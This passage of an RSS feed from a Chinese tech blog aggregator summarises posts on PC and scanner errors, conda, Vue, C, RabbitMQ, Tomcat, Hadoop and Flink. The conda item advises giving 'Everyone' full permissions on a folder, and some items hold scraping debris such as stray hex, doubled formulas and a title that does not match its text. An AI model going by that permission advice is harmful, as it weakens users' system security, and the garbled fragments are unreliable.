      <description>大家好，我是时间财富网智能客服时间君，上述问题将由我为大家进行解答。&#xA;电脑开机黑屏出现英文字符的解决方法：&#xA;1、如果是显示左上角光标闪烁或Error 1962，可将电脑关机断电后，将除了显示器之外的所有外部设备移除，只保留显示器设备进行测试，测试确定正常后，再重启电脑，就不会出现黑屏情况。&#xA;2、如果开机提示DHCP错误，则需重启电脑后连续点击键盘F1键，进入Bios找到Devices选项下面的Network Setup菜单，将下面的Boot Agent改为Disabled , 等待电脑重启即可。&#xA;3、如果电脑上显示Fan error，则指机器风扇问题，可以关机断电之后打开主机机箱，查看CPU风扇的连接线是否有松动，然后看看风扇是否灰尘过多，用手转动风扇检查是否阻力过大，清理好风扇后再次尝试开机，只要不是风扇损坏基本上都可以解决问题。&#xA;电脑(computer，又称计算机)是一种用于高速计算的电子计算机器，被称为“20世纪最先进的科学技术发明之一”。电脑由硬件系统和软件系统所组成，具有进行数值计算、逻辑计算和存储记忆等多项功能。它的应用领域从最初的军事科研应用扩展到社会的各个领域，带动了全球范围的技术进步。主板又叫Mother Board(母板)。它其实就是一块电路板， 上面密密麻麻都是各种电路。它可以说是PC机的神经系统，CPU、内存、显示卡、声卡等等都是直接安装在主板上的，而硬盘、软驱等部件也需要通过接线和主板连接。</description>
    </item>
    <item>
      <title>未检测到与wia兼容的设备_如何解决应用程序找不到扫描仪：错误WIA_ERROR_OFFLINE！...</title>
      <link>https://bchobby.github.io/posts/689710c421558c543b960fbbe3ee2d4f/</link>
      <pubDate>Fri, 05 Feb 2021 17:36:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/689710c421558c543b960fbbe3ee2d4f/</guid>
      <description>当多个设备连接到计算机时，断开一个设备可能会使另一设备消失。当您启动一个新的应用程序以使用扫描仪时，找不到它。在本文中，当其他设备断开连接后，应用程序找不到新的扫描设备时，我们将分享解决方案。&#xA;当您断开设备上的Web服务(WSD)扫描器或将其连接到基于Windows的计算机时，或者将其他扫描设备(例如USB扫描器)连接到计算机时，可能会出现此问题。所有这些都指向状态更改。如果找不到计算机，则表明它仍处于脱机状态。当操作系统查询其状态时，它将收到&#xA;WIA ERROR OFFLINE错误。&#xA;WIA_ERROR_OFFLINE，设备处于脱机状态，确保设备已开机并连接至PC，错误代码0x80210005&#xA;Windows Image&#xA;Acquisition(WIA)使图形软件能够与成像硬件(例如扫描仪)进行通信。初始化过程失败时，将在此处发生错误。&#xA;应用程序找不到扫描仪&#xA;在大多数情况下，问题是暂时的，重新启动扫描仪和计算机都可以解决问题。这是我们的建议：&#xA;您可能需要一个管理员帐户才能从设备管理器中删除设备。&#xA;1]在连接扫描仪后重新启动计算机&#xA;由于状态将被重置，因此大多数情况下它将解决该问题。当设备处于离线模式时，扫描仪驱动程序 调用IStiDevice ::&#xA;LockDevice方法时可能会遇到 WIA_ERROR_OFFLINE错误 。重新启动后，状态将重置。&#xA;2]卸载连接的扫描仪设备并重新连接&#xA;使用WIN + X键盘快捷方式打开“电源”菜单，然后选择“设备管理器”。&#xA;找到扫描仪，右键单击并卸载&#xA;重新启动电脑&#xA;回到您的帐户后，重新连接扫描仪。&#xA;Windows将再次开始检测它并安装所需的驱动程序。&#xA;3]重新启动Windows图像获取(WIA)服务&#xA;我们已经讨论过WIA服务，并且重启它也是一个好主意。&#xA;*在“运行”提示中，键入services.msc，然后按Enter键。&#xA;*Loca WIA服务。描述应为“ 为扫描仪和照相机提供图像采集服务。”&#xA;*双击打开，然后单击“停止”按钮，然后单击“开始”按钮。&#xA;*您也可以右键单击该服务，然后从上下文菜单中选择“重新启动”。&#xA;希望该指南易于阅读，并且其中一种解决方案可以解决该问题-在断开另一个设备的连接后，应用程序找不到新的扫描设备。</description>
    </item>
    <item>
      <title>手机拨出等待时间长_为什么现在打开</title>
      <link>https://bchobby.github.io/posts/7d0cf196f56d3c90d5b043601e20321c/</link>
      <pubDate>Fri, 05 Feb 2021 15:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d0cf196f56d3c90d5b043601e20321c/</guid>
      <description>2008-05-07&#xA;开机等待问题电脑开机后要等很长时&#xA;速度、木马、系统漏洞、病毒等综合性影响，常规解决办法：&#xA;1、解决杂乱文件影响(减少电脑负担)。&#xA;清理杂乱文件有三个方法，第一是点网页上的“工具”，点“Internet选项(0)”，在新页面分别点“删除Cookies(I)”“删除文件(F)”“清除历史记录(H)”、最后“确定”；第二是用“磁盘清理”，把鼠标指向程序——附件——系统工具——就显示出“磁盘清理”，所有的盘C、D、E等都要清理(主要是系统盘C)，第三是“整理磁盘碎片”，把鼠标指向程序——附件——系统工具——就显示出“整理磁盘碎片程序”，主要是整理系统盘C，很慢一般要一到两个小时甚至更多时间。 这三种方法可以单独使用，都可以有效的...全部&#xA;速度、木马、系统漏洞、病毒等综合性影响，常规解决办法：&#xA;1、解决杂乱文件影响(减少电脑负担)。&#xA;清理杂乱文件有三个方法，第一是点网页上的“工具”，点“Internet选项(0)”，在新页面分别点“删除Cookies(I)”“删除文件(F)”“清除历史记录(H)”、最后“确定”；第二是用“磁盘清理”，把鼠标指向程序——附件——系统工具——就显示出“磁盘清理”，所有的盘C、D、E等都要清理(主要是系统盘C)，第三是“整理磁盘碎片”，把鼠标指向程序——附件——系统工具——就显示出“整理磁盘碎片程序”，主要是整理系统盘C，很慢一般要一到两个小时甚至更多时间。&#xA;这三种方法可以单独使用，都可以有效的清除正常浏览网页没有保存的所有临时文件，有用的系统文件和安装保存的文件不会被清理。用第一或第二的方法配合第三的方法效果会更好，可以明显改善电脑速度。&#xA;2、解决恶意流氓软件和恶意流氓插件影响。&#xA;恶意流氓软件和恶意流氓插件除少数是躲在自己下载的软件和安装的代码里面以外，主要是自己强行安装进电脑的，目的就是干扰操作系统，影响程序正常工作，用“磁盘清理”清不掉，杀毒软件发现不了，用瑞星卡卡助手、奇虎360、清理大师、木马清道夫等等凡杀毒软件配置的助手，都可以用系统优化功能、系统防护功能等有效的清除恶意流氓软件和恶意流氓插件，只要经常清理，就可以保证电脑不受影响。&#xA;3、系统修复，恶意流氓软件、恶意流氓插件、病毒等有机可乘的原因就是操作系统有漏洞，经常检查漏洞，及时修复系统不但可以使操作系统流畅，而且可以减少恶意流氓软件、恶意流氓插件、病毒等进入电脑的机会。&#xA;4、经常更新病毒库，升级杀毒，不要让病毒长期存留在电脑里，选择高级设置，发现病毒杀毒，杀不了隔离文件、隔离不了删除 文件、要保证电脑没有保存有病毒，有病毒及时根除。&#xA;5、电脑遭遇病毒是难免的，为了减少重装系统的麻烦，一定要在装系统时装“一键恢复” 。&#xA;“一键恢复”就是操作系统备份，一般是装系统时设置，也就是确保操作系统健康。 在电脑遭遇病毒无法清除、程序错乱，速度特别慢等严重问题时，任何时候“一键恢复”，电脑就恢复到健康正常的系统，保证正常操作。&#xA;6、检查内存条：用鼠标对准桌面，右键点击，点对话框“属性”，会显示电脑资料，下方有内存条容量，如果你的电脑内存容量是512M及以下，可以加一个同容量或原来2倍容量的内存条(小了不起作用，大了没有意义，)，或者换一个2—3倍原来容量的内存条，可以明显改善电脑运行速度。&#xA;(注意的是：内存条最好是同规格的，规格不同的插口一定要相同，单插口的只有选择换一个，双插口的选择加一个，加好后可以用上面的方法检查容量。&#xA;。收起</description>
    </item>
    <item>
      <title>论文笔记：ICLR 2021 Combining Lable Propagation And Simple Models Out-Performs Graph Neural Network</title>
      <link>https://bchobby.github.io/posts/d551789a4aa564a00d465ba823489ad0/</link>
      <pubDate>Fri, 05 Feb 2021 15:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d551789a4aa564a00d465ba823489ad0/</guid>
      <description>前言： 本文的作者认为对于 GNN 的可解释性不足。基于此，作者在节点分类任务上提出可以通过将忽略图结构的浅层模型与两个利用标签结构中相关性的后处理方法相结合，超越或匹配最先进的 GNN 。具体如下:&#xA;(i)误差相关性：传播训练数据中的残余误差以纠正测试数据中的错误信息&#xA;(ii)预测相关性：在测试集数据上进行平滑预测&#xA;作者将整个过程称为 Correct and Smooth (C&amp;amp;S)。其中后处理步骤是通过对早期的基于图的半监督学习方法的标准标签传播方法进行修改实现的。该方法实现了惊人的性能提升，在 OGB-Products 数据集上使用比现有方法少137倍的参数量和100倍的训练时间达到了更佳的性能。&#xA;该方法的性能突出了如何直接将标签信息合并到学习算法(正如在传统技术中所做的那样)产生简单和实质性的性能增益。同时还可以将该技术整合到大型GNN模型中，提升模型性能。&#xA;论文链接：https://arxiv.org/abs/2010.13993&#xA;github：https://github.com/CUAI/CorrectAndSmooth&#xA;0. 标签传播算法 标签传播算法（label propagation）的核心思想非常简单：相似的数据应该具有相同的label。LP算法包括两大步骤：&#xA;1）构造相似矩阵；&#xA;2）标签传播。&#xA;0.1 相似矩阵构建 LP算法是基于Graph的，因此我们需要先构建一个图。我们为所有的数据构建一个图，图的节点就是一个数据点，包含labeled和unlabeled的数据。节点 i i i 和节点 j j j 的边表示他们的相似度。这个图的构建方法有很多，这里我们假设这个图是全连接的，节点 i i i 和节点 j j j 的边权重为：&#xA;w i j = e x p ( − ∣ ∣ x i − x j ∣ ∣ 2 α 2 ) (1) w_{ij}=exp(-\frac{||x_i-x_j||^2}{\alpha^2})\tag{1} wij​=exp(−α2∣∣xi​−xj​∣∣2​)(1)&#xA;其中 α \alpha α 作为超参</description>
    </item>
    <item>
      <title>控制工程中的数学建模（1）——二阶有源低通滤波器（之一）</title>
      <link>https://bchobby.github.io/posts/21f382ead94dbcacbe1ef407208da731/</link>
      <pubDate>Fri, 05 Feb 2021 14:05:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21f382ead94dbcacbe1ef407208da731/</guid>
      <description>模拟电路中的无源滤波器是由无源元件R、L、C组成的，而有源滤波器是由运放、R、C组成的，可以不用电感就能实现低通、高通、带通、带阻等功能，而且输入阻抗高、输出阻抗低、负载效应小。&#xA;下面介绍二阶有源低通滤波器的数学模型——传递函数。&#xA;1.电路原理图&#xA;二阶有源低通滤波器是由两个独立的储能电容、外围电阻和一个运放组成的，电路图如下所示：&#xA;电路原理图 其中，R、C、R1、Rf代表的是电阻电容的阻值或容值。&#xA;根据电路中的复频域分析方法，画出电路的频域模型：&#xA;电路频域模型 、 均为电路中的中间变量， 、 分别是模型的输入、输出变量。&#xA;2.传递函数的推导&#xA;根据运放的虚短特性，得到&#xA;根据虚断特性，得到&#xA;根据KCL，在结点A，有&#xA;代入 的表达式，整理得到&#xA;滤波器的传递函数为&#xA;写成更一般的形式&#xA;这个传递函数 就是这个二阶有源低通滤波器的数学模型。</description>
    </item>
    <item>
      <title>conda安装包报错:The current user does not have write permissions to the target environment(当前用户没有写入权限）</title>
      <link>https://bchobby.github.io/posts/fefd605e5b32e713387638373790eda8/</link>
      <pubDate>Fri, 05 Feb 2021 13:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fefd605e5b32e713387638373790eda8/</guid>
      <description>问题：&#xA;在Winodws 10下使用conda安装第三方包时报错：”EnvironmentNotWritableError: The current user does not have write permissions to the target environment. location:&#xA;主要原因:用户没有对anaconda3文件夹的读写权限，造成其原因可能是由于在安装anaconda时使用了管理员权限。&#xA;解决方法：解除对错误中location:*部分涉及的文件夹的权限限制&#xA;1、把鼠标光标移动到文件夹上，鼠标右击，在出现的选项中选择【属性】。&#xA;2、在属性界面中上方有6个选项，点击第四个【安全】。&#xA;3、接下来在更改权限的右边点击【编辑】。&#xA;4、在权限界面中点击中间的【添加】，准备添加权限。&#xA;5、在【选择用户和组】界面中点击下方的【高级】选项。&#xA;6、接下来的界面中点击【立即查找】，这时会在下方出现很多用户选项，选择【Everyone】。&#xA;7、最后再权限中把所有的权限都给勾选上，点击【确定】。&#xA;最后重新安装就可以了。</description>
    </item>
    <item>
      <title>vue3.0中使用postcss-pxtorem进行rem适配</title>
      <link>https://bchobby.github.io/posts/2875a91d420bd92d5468f346a56f5cfc/</link>
      <pubDate>Fri, 05 Feb 2021 13:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2875a91d420bd92d5468f346a56f5cfc/</guid>
      <description>1、下载安装依赖：&#xA;npm install postcss-pxtorem -save&#xA;2、新建一个rem.js的文件，在main.js中引用。&#xA;(function() { const baseSize = 16; // 32 function setRem() { const scale = document.documentElement.clientWidth / 375; // 750 document.documentElement.style.fontSize = baseSize * Math.min(scale, 2) + &#34;px&#34;; } window.onresize = function() { setRem(); }; })(); 注： 以设计稿自定义为375px 测量值直接写入即可，如是750px，则乘以2&#xA;3、在根目录下新建一个postcss.config.js&#xA;module.exports = { plugins: { // 兼容浏览器，添加前缀 autoprefixer: { overrideBrowserslist: [ &#34;Android 4.1&#34;, &#34;iOS 7.1&#34;, &#34;Chrome &amp;gt; 31&#34;, &#34;ff &amp;gt; 31&#34;, &#34;ie &amp;gt;= 8&#34;, &#34;</description>
    </item>
    <item>
      <title>数据结构之折半查找法——C语言实现</title>
      <link>https://bchobby.github.io/posts/5723806f8d82eade0222654c28632ff8/</link>
      <pubDate>Fri, 05 Feb 2021 12:54:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5723806f8d82eade0222654c28632ff8/</guid>
      <description>概念： 折半查找法又称为二分查找法，该方法要求带查找的表是顺序存储结构并且表中的关键字大小有序排列。&#xA;查找过程： 先确定待查记录所在的区间，然后逐渐通过待查找值与区间中间值进行比较进而调整区间大小，不断缩小范围，直到找到或者找不到为止。&#xA;具体方法： 将表中间值与待查找值进行比较，如果二者相等则查找成功；否则利用中间为止记录将表分成前后两个子表，如果待查找值大于区间中间值，则在后一个子表中继续查找；反之，则在前一个子表中查找。重复上述过程，直到找到目标值，则查找成功。否则，目标不存在，查找失败。&#xA;算法思想： “分治法”，将一个大的区间，不断“折半”，在小区间内查找，分而治之。&#xA;实例： 题目描述：&#xA;任意输入十个整数，再输入一个整数，利用“折半查找法”验证该数字是否在该数列中。如果存在，则输出其序号；否则，输出不存在。&#xA;注释：不考虑大整数的情况&#xA;解析：首先，对于输入的十个整数，可能是无序的，所以要先用选择排序法进行排序。再利用折半查找法查找待查找数。&#xA;代码如下： #include&#34;stdio.h&#34; int main() { void sort(int a[10],int m);//排序函数 void search(int a[10],int n);//查找函数 int a[10],n,i; printf(&#34;请输入10个整数：\n&#34;); for(i=0;i&amp;lt;10;i++) scanf(&#34;%d&#34;,&amp;amp;a[i]); printf(&#34;请输入你想要查找的数字：\n&#34;); scanf(&#34;%d&#34;,&amp;amp;n); sort(a,10); search(a,n); return 0; } void sort(int a[10],int m)//选择排序法 { int i,j,k,temp; for(i=0;i&amp;lt;m-1;i++) { k=i; for(j=i+1;j&amp;lt;m;j++) { if(a[j]&amp;lt;a[k]) k=j; } temp=a[i];a[i]=a[k];a[k]=temp; } printf(&#34;排序后：\n&#34;); for(i=0;i&amp;lt;m;i++) printf(&#34;%d &#34;,a[i]); printf(&#34;\n&#34;); } void search(int a[10],int n) { int low=0,high=9,mid,flag;//low,high分别为区间的左端点和右端点，mid为区间中间，flag存放逻辑值 while(low&amp;lt;=high) { mid=(low+high)/2;//折半 if(n==a[mid]) { flag=1;//如果区间中间值等于待查找值，则查找成功，flag值为 1,为真 break;//找到，则终止循环 } else if(n&amp;lt;a[mid])//待查找值小于中间值，则在前一半区间内继续查找 high=mid-1;//调整右端点 else if(n&amp;gt;a[mid])//待查找值大于中间值，则在后一半区间内继续查找 low=mid+1;//调整左端点 } if(flag==1)//如果找到 printf(&#34;</description>
    </item>
    <item>
      <title>安川机器人原点丢失_安川机器人报错代码：原点位置校准和操作方法</title>
      <link>https://bchobby.github.io/posts/624e86950e7751e0936f8bf255570ab8/</link>
      <pubDate>Fri, 05 Feb 2021 12:35:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/624e86950e7751e0936f8bf255570ab8/</guid>
      <description>6.1 原点位置校准&#xA;6.1.1 原点位置校准&#xA;所谓的原点位置校准是指机器人位置和绝对编码器位置进行对照的操作。&#xA;原点位置校准是在出厂前进行的，在下列情况下必须进行原点位置校准。&#xA;• 改变机器人和控制柜 (DX100)的组合时。&#xA;• 更换了电机、绝对值编码器时&#xA;• 存储内存被删除的时候 (YIF01 基板的更换、电池耗尽时)&#xA;• 机器人撞到工件原点偏移时&#xA;用轴操作键使机器人运动到原点位置姿态进行原点位置校对。有以下两种&#xA;方法。&#xA;• 全轴同时登录&#xA;• 各轴单独登录&#xA;已知原点位置姿态绝对原点数据的情况，可直接输入绝对原点数据。&#xA;6.1.2 操作方法&#xA;6.1.2.1 进行全轴登录&#xA;1. 选择主菜单的 【机器人】&#xA;2. 选择 【原点位置】&#xA;–显示原点位置校准画面。&#xA;3. 选择菜单的 【显示】&#xA;选择翻页&#xA;或者按翻页键&#xA;–显示下拉菜单。&#xA;4. 选择要控制的轴组。&#xA;5. 选择菜单的 【编辑】&#xA;–显示下拉菜单&#xA;6. 选择 【选择全部轴】&#xA;–显示确认下拉菜单。&#xA;7. 选择 【是】&#xA;–显示的全轴当前值作为原点输入。&#xA;–选择 【不】，则操作停止。&#xA;6.1.2.2 进行单独登录&#xA;1. 选择主菜单的 【机器人】&#xA;2. 选择 【原点位置】&#xA;3. 选择希望的控制轴组&#xA;–在前一项的 【进行全轴的一次性登录】的 3、4 操作里，选择希</description>
    </item>
    <item>
      <title>rabbitMq命令删除交换机和队列</title>
      <link>https://bchobby.github.io/posts/bee414932fb24cec03b74d4e68340e73/</link>
      <pubDate>Fri, 05 Feb 2021 11:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bee414932fb24cec03b74d4e68340e73/</guid>
      <description>删除交换机：&#xA;在官网rabbitmqctl命令中没有找到删除交换机的命令，然后管理后台的端口又没有开放出来，只能使用命令访问管理后台删除交换机&#xA;exchangeName：为交换机名称&#xA;name:password：登录管理后台的账号和密码&#xA;curl -u name:password -X DELETE http://localhost:15672/api/exchanges/%2f/exchangeName &#39;{vhost: &#34;/&#34;, name: &#34;exchangeName &#34;}&#39; --header &#34;Content-Type: application/json&#34;&#xA;删除队列：&#xA;rabbitmqctl delete_queue exchangeName</description>
    </item>
    <item>
      <title>天正安装autocad启动失败_Auto CAD2013/2014天正建筑启动时出现error错误该怎么办?</title>
      <link>https://bchobby.github.io/posts/a311a6d994d31c63f9bd9881d0f6bff5/</link>
      <pubDate>Fri, 05 Feb 2021 10:27:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a311a6d994d31c63f9bd9881d0f6bff5/</guid>
      <description>有些朋友在安装CAD2012的时候安装不上去，有的一安装就成功了。可能会是什么原因呢，怎么解决呢，本人一同分享CAD2012的安装错误及解决。&#xA;未在英文目录下安装&#xA;1、安装时弹出下图错误，表示未在英文目录下安装，或者你下载的CAD2012解压后放在了中文的目录下。解决方法：重新解压在英文目录下。还有一个可能就是压缩包解压时缺少文件，需要重新下载解压。&#xA;.NET framework 未安装结束&#xA;1、如果是.NET framework 未安装结束，就突然跳到安装完成，并显示三个红X，那可能是注册表未清理。&#xA;2、我们先下载.NET Framework Cleanup Tool。然后解压后打开软件。选择是。&#xA;3、然后选择&#34;YES&#34;&#xA;4、选择“cleanup now&#34;，需要等待一会，直到清理完成后，EXIT按键可以点击为止。&#xA;5、下面，清理下注册表，我们可以通过系统优化大师或者魔方优化(其他可以清理注册表的软件都行)，清理注册表。&#xA;6、最后我们需要安装下.NET Framework 4.0，解压后，双击安装即可。安装完成后，我们就可以安装CAD了，祝大家顺利!&#xA;注意事项： 清理过注册表后，最好重启下，安装包目录和安装目录都必须是英文目录。</description>
    </item>
    <item>
      <title>用python写的简单的http文件服务器demo</title>
      <link>https://bchobby.github.io/posts/5f8c204112b6525aea56ece817182696/</link>
      <pubDate>Fri, 05 Feb 2021 10:10:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f8c204112b6525aea56ece817182696/</guid>
      <description>import socket import os import re import time from multiprocessing import Process class CHttpServer(object): &#34;&#34;&#34;Httpserver服务端类&#34;&#34;&#34; def __init__(self): self.m_serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.m_serverSocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.m_buf_size = 8 * 1024 * 1024 def start(self): self.m_serverSocket.listen(128) while(True): m_clientSocket,m_clientAddr = self.m_serverSocket.accept() m_clientSocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) print(&#34;创建的socket是&#34;, end=&#34;&#34;) print(m_clientSocket) print(&#39;[%s,%s]用户连接上了服务器&#39; % m_clientAddr) handle_client_process = Process(target = self.handle_client,args=(m_clientSocket,)) handle_client_process.start() m_clientSocket.close() #数据处理进程 def handle_client(self,clientSocket): &#39;&#39;&#39; 处理客户请求操作 &#39;&#39;&#39; #获取客户请求数据 print(&#34;进程:&#34;, end=&#34;&#34;) print(os.getpid()) request_data = clientSocket.recv(2048) print(&#39;接收到的数据:%s&#39; % request_data) request_lines=request_data.splitlines() bytes_start = &#34;&#34; bytes_end = &#34;</description>
    </item>
    <item>
      <title>三菱plc字高八位和低八位_三菱PLC如何传送高8位和低8位数据</title>
      <link>https://bchobby.github.io/posts/735904f03b054527a939e40179d56b24/</link>
      <pubDate>Fri, 05 Feb 2021 02:55:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/735904f03b054527a939e40179d56b24/</guid>
      <description>展开全部&#xA;K1M0是M0123的意思，K2M0是M01234567的意思；K3M0是M0123 4567 10 11 12 13&#xA;K4M0是M0123 4567 10 11 12 13 14 15 16 17。&#xA;也就是说，K1M0对应的是M0，M1，M2，M3，自己类推。&#xA;简单理解就是，例：K1M0中，M0=0,M1=1,M2=1,M3=0,把这个数62616964757a686964616fe78988e69d8331333431373839值放到D0里面就是0110。&#xA;扩展资料：&#xA;二进制就是以0或者1表示的，打个比方。&#xA;K1Y0指4个一组，即Y3.Y2.Y1.Y0.分别是指8.4.2.1。MOV K() K1Y0。传送(8)给K1Y0就是1000即=Y3亮。传送(4)就是0100=Y2亮。以此类推。&#xA;对于八位的单片机来说，高八位和低八位是很少用到的，但也有用到的地方，比如程序计数器PC，高八位代表地址的A15~A8，低八位代表地址的A7~A0；再比如数据地址指针DPTR，也是如此分为DPH的高八位和DPL的低八位，再比如定时器计数器TH0、TH1是高八位，TL0、TL1是低八位等等。&#xA;对照上面的公式你要Y1和Y3亮就是4+8=12。即MOV K12 K1Y0，可以写程序试试，MOV K12 K1Y0就是把十进制转换成二进制传送到K1Y0中。</description>
    </item>
    <item>
      <title>源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示</title>
      <link>https://bchobby.github.io/posts/2a44ce6aae66f87890d1dfaffc323cc1/</link>
      <pubDate>Thu, 04 Feb 2021 22:53:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a44ce6aae66f87890d1dfaffc323cc1/</guid>
      <description>Tomcat报404错误，源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示。 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210204220954845.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3lhbmRhamlhbmdqdW4=,size_16,color_FFFFFF,t_70#pic_center) **错误原因**:如果你的tomcat正常启动的话，那有可能是把浏览器访问的地址弄错了,我这里出现的情况是，如果让idea自己打开浏览器访问的话，会报错，如果点击&#34;idea右上角的浏览器图标&#34;进行访问的话，就能正常访问。所以需要修改浏览器访问的地址。 下面讲如何修改地址：&#xA;1.点击运行(run)–&amp;gt;编辑配置&#xA;2.找到Tomcat Server的配置，在服务器这一界面，检查URL地址栏中“8080/”后的的名字是否跟“部署”界面的&#34;应用程序上下文(application context)“的名字一样。我这里的“部署”界面的&#34;应用程序上下文&#34;的名字是&#34;TomcatWeb”,所以我需要在“服务器”界面的url地址栏必须要写TomcatWeb，而且不能写错，否则就报错。因为“部署”界面的&#34;应用程序上下文&#34;填写的是个虚拟地址，这里写的是什么，就要在服务器界面地址栏写上什么，如果&#34;应用程序上下文“的名字是&#34;/&#34;，那么服务器界面地址栏就写http://localhost:8080/index.jsp。&#xA;”部署“界面&#xA;还有一点注意的是，当项目写了新的文件时，我们要想访问的话，我们需要重复运行tomcat，这样太麻烦了，如果有一种办法让新的代码或文件直接加载到项目里，而不需要重启tomcat的话，那就更美好了。只需在下面两个地方设置成&#34;更新资源&#34;就可以了。</description>
    </item>
    <item>
      <title>3-12-1</title>
      <link>https://bchobby.github.io/posts/a44654de6aa89b50344171fbf9c624ee/</link>
      <pubDate>Thu, 04 Feb 2021 13:06:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a44654de6aa89b50344171fbf9c624ee/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;//带多类型参数的函数，实现选择加减乘除运算&#xA;void tip()&#xA;{&#xA;printf(“\n&#34;);&#xA;printf(&#34;\n”);&#xA;printf(“请输入一种算法\n&#34;);&#xA;printf(&#34;设计者：罗可飞\n”);&#xA;printf(“\n&#34;);&#xA;printf(&#34;\n”);&#xA;}&#xA;int jia(int a,int b)&#xA;{&#xA;int z;&#xA;z = a + b;&#xA;return z;&#xA;}&#xA;int jian(int a,int b)&#xA;{&#xA;int z;&#xA;z = a - b;&#xA;return z;&#xA;}&#xA;chen(int a,int b)&#xA;{&#xA;int z;&#xA;z = a * b;&#xA;return z;&#xA;}&#xA;float chu(float a,int b)&#xA;{&#xA;float z;&#xA;z = a / b; //不同类型数据运算时，比如两个整数相除，必须将除数或者将被除数强制转换成小数，否则小数后面的小数点后面的数据会被忽略</description>
    </item>
    <item>
      <title>hadoop入门 启动 journalnode报错</title>
      <link>https://bchobby.github.io/posts/e9dea2c3ebffb92708d777a5cf45eb31/</link>
      <pubDate>Wed, 03 Feb 2021 23:56:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9dea2c3ebffb92708d777a5cf45eb31/</guid>
      <description>启动journalnode报错如下&#xA;[hadoop@salve001 ~]$ hdfs --daemon start journalnode ERROR: Cannot set priority of journalnode process 74165 [hadoop@salve001 ~]$ 查看报错日志提示&#xA;2021-02-03 10:42:05,421 ERROR org.apache.hadoop.hdfs.qjournal.server.JournalNode: Failed to start journalnode. org.apache.hadoop.util.DiskChecker$DiskErrorException: Cannot create directory: /data1/hadoop/dfs/jn 根据提示目录无法创建，手动创建&#xA;[root@salve001 ~]# mkdir -p /data1/hadoop/dfs/jn 切换hadoop用户启动journalnode</description>
    </item>
    <item>
      <title>Flink的异步I/O及Future和CompletableFuture</title>
      <link>https://bchobby.github.io/posts/822d6039dfadb194418accdfed530485/</link>
      <pubDate>Wed, 03 Feb 2021 16:27:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/822d6039dfadb194418accdfed530485/</guid>
      <description>1 概述 Flink在做流数据计算时，经常要外部系统进行交互，如Redis、Hive、HBase等等存储系统。系统间通信延迟是否会拖慢整个Flink作业，影响整体吞吐量和实时性。&#xA;如需要查询外部数据库以关联上用户的额外信息，通常的实现方式是向数据库发送用户a的查询请求（如在MapFunction中），然后等待结果返回，返回之后才能进行下一次查询请求，这是一种同步访问的模式，如下图左边所示，网络等待时间极大的阻碍了吞吐和延迟。&#xA;Flink从1.2版本开始就引入了Async I/O（https://ci.apache.org/projects/flink/flink-docs-release-1.12/dev/stream/operators/asyncio.html）。异步模式可以并发的处理多个请求和回复，也就是说，你可以连续的向数据库发送用户a、b、c、d等的请求，与此同时，哪个请求的回复先返回了就处理哪个回复，从而连续的请求之间不需要阻塞等待，如上图右边所示，这也是Async I/O的实现原理。&#xA;2 Future和CompletableFuture 先了解一下Future和CompletableFuture&#xA;2.1 Future 从JDK1.5开始，提供了Future来表示异步计算的结果，一般需要结合ExecutorService（执行者）和Callable（任务）来使用。Future的get方法是阻塞的&#xA;package com.quinto.flink; import java.util.concurrent.*; public class FutureTest { public static void main(String[] args) throws ExecutionException, InterruptedException { // 核心线程池大小5 最大线程池大小10 线程最大空闲时间60 时间单位s 线程等待队列 ThreadPoolExecutor executor = new ThreadPoolExecutor(5, 10, 60L, TimeUnit.SECONDS, new ArrayBlockingQueue&amp;lt;&amp;gt;(10)); Future&amp;lt;Long&amp;gt; future = executor.submit(() -&amp;gt; { // 故意耗时 Thread.sleep(3000); return System.currentTimeMillis(); }); System.out.println(future.get()); System.out.println(&#34;因为get是阻塞的，所以这个消息在数据之后输出&#34;); executor.shutdown(); } } 结果为&#xA;1612337847685 因为get是阻塞的，所以这个消息在数据之后输出 Future只是个接口，实际上返回的类是FutureTask：&#xA;public &amp;lt;T&amp;gt; Future&amp;lt;T&amp;gt; submit(Callable&amp;lt;T&amp;gt; task) { if (task == null) throw new NullPointerException(); RunnableFuture&amp;lt;T&amp;gt; ftask = newTaskFor(task); execute(ftask); return ftask; } protected &amp;lt;T&amp;gt; RunnableFuture&amp;lt;T&amp;gt; newTaskFor(Callable&amp;lt;T&amp;gt; callable) { return new FutureTask&amp;lt;T&amp;gt;(callable); } FutureTask的get方法如下</description>
    </item>
    <item>
      <title>[数据仓库]分层概念,ODS,DM,DWD,DWS,DIM的概念</title>
      <link>https://bchobby.github.io/posts/51287a27548707d664596912968fb93d/</link>
      <pubDate>Wed, 03 Feb 2021 14:21:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51287a27548707d664596912968fb93d/</guid>
